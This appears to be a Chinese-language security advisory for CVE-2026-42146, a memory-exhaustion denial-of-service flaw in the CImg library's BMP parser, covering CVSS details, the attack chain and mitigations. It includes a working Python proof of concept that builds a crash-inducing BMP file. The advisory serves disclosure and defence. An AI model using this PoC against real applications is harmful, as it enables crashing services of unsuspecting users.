IPBUF安全漏洞报告
English
CVE-2026-42146 CVSS 5.5 中危

CVE-2026-42146 CImg库BMP文件处理拒绝服务漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42146
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
CImg Library

相关标签

拒绝服务CImgBMP内存耗尽本地攻击

漏洞概述

CImg Library是一个广泛使用的C++图像处理库。在修复前的版本中,处理BMP文件时存在安全漏洞。程序在读取BMP文件头中的nb_colors字段后,未对其进行充分的边界校验便直接用于计算内存分配大小。攻击者可利用此缺陷构造特殊的恶意BMP文件,诱导受害者加载,从而触发内存耗尽异常,导致应用程序崩溃,造成拒绝服务。

技术细节

该漏洞的根本原因在于CImg库解析BMP文件格式时的输入验证缺失。具体而言,当库函数读取BMP文件头信息时,会提取`nb_colors`(颜色数量)字段。在受影响的版本中,代码直接使用该数值来计算后续所需的内存缓冲区大小,而未将该数值与文件的实际剩余大小或合理的系统限制进行比较。攻击者可以通过修改BMP文件头,将`nb_colors`设置为一个极大的整数值(例如接近整数上限)。当受影响的应用程序调用CImg库尝试加载此恶意文件时,系统会尝试分配一个极其巨大的内存块。由于物理内存或虚拟地址空间的限制,分配操作必然失败,抛出`std::bad_alloc`异常或导致进程终止。虽然这不涉及代码执行或数据泄露,但会导致应用程序立即崩溃,构成拒绝服务风险。攻击向量为本地,且需要用户交互(如打开文件)。

攻击链分析

STEP 1
1. 制作恶意文件
攻击者编写脚本或使用工具修改BMP文件头,将nb_colors(颜色表数量)字段设置为一个极大的数值(如0xFFFFFFFF)。
STEP 2
2. 投递恶意文件
攻击者将生成的恶意BMP文件发送给目标用户,或上传到应用程序允许上传图片的位置。
STEP 3
3. 触发漏洞
用户或应用程序尝试使用CImg库打开或处理该恶意BMP文件。
STEP 4
4. 拒绝服务
CImg库在解析文件头时尝试根据nb_colors分配巨大内存,导致内存耗尽,应用程序崩溃或挂起。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct # PoC for CVE-2026-42146: CImg Out-of-Memory via BMP nb_colors # This script generates a crafted BMP file with a huge 'biClrUsed' value. # When loaded by a vulnerable version of CImg, it triggers an allocation failure. filename = "crash.bmp" # BMP File Header (14 bytes) bfType = b'BM' bfSize = 0 # Dummy size bfReserved1 = 0 bfReserved2 = 0 bfOffBits = 54 # Offset to pixel data (standard for BITMAPINFOHEADER) # DIB Header (BITMAPINFOHEADER - 40 bytes) biSize = 40 biWidth = 1 biHeight = 1 biPlanes = 1 biBitCount = 8 # 8-bit, implies a color table biCompression = 0 # BI_RGB biSizeImage = 0 biXPelsPerMeter = 0 biYPelsPerMeter = 0 biClrUsed = 0xFFFFFFFF # The malicious field: requesting a huge number of colors biClrImportant = 0 with open(filename, "wb") as f: f.write(bfType) f.write(struct.pack("<I", bfSize)) f.write(struct.pack("<H", bfReserved1)) f.write(struct.pack("<H", bfReserved2)) f.write(struct.pack("<I", bfOffBits)) f.write(struct.pack("<I", biSize)) f.write(struct.pack("<i", biWidth)) f.write(struct.pack("<i", biHeight)) f.write(struct.pack("<H", biPlanes)) f.write(struct.pack("<H", biBitCount)) f.write(struct.pack("<I", biCompression)) f.write(struct.pack("<I", biSizeImage)) f.write(struct.pack("<i", biXPelsPerMeter)) f.write(struct.pack("<i", biYPelsPerMeter)) # Write the malicious value for nb_colors (biClrUsed) f.write(struct.pack("<I", biClrUsed)) f.write(struct.pack("<I", biClrImportant)) print(f"Created {filename}. Open this with a vulnerable CImg application to trigger the crash.")

影响范围

CImg Library < v.3.7.5

防御指南

临时缓解措施
如果无法立即升级,建议在代码层面限制加载BMP文件的大小,或在输入处理层面增加对文件头字段(特别是nb_colors)的严格校验,拒绝处理异常大值的图像文件。此外,应避免直接处理来自不可信来源的图像文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表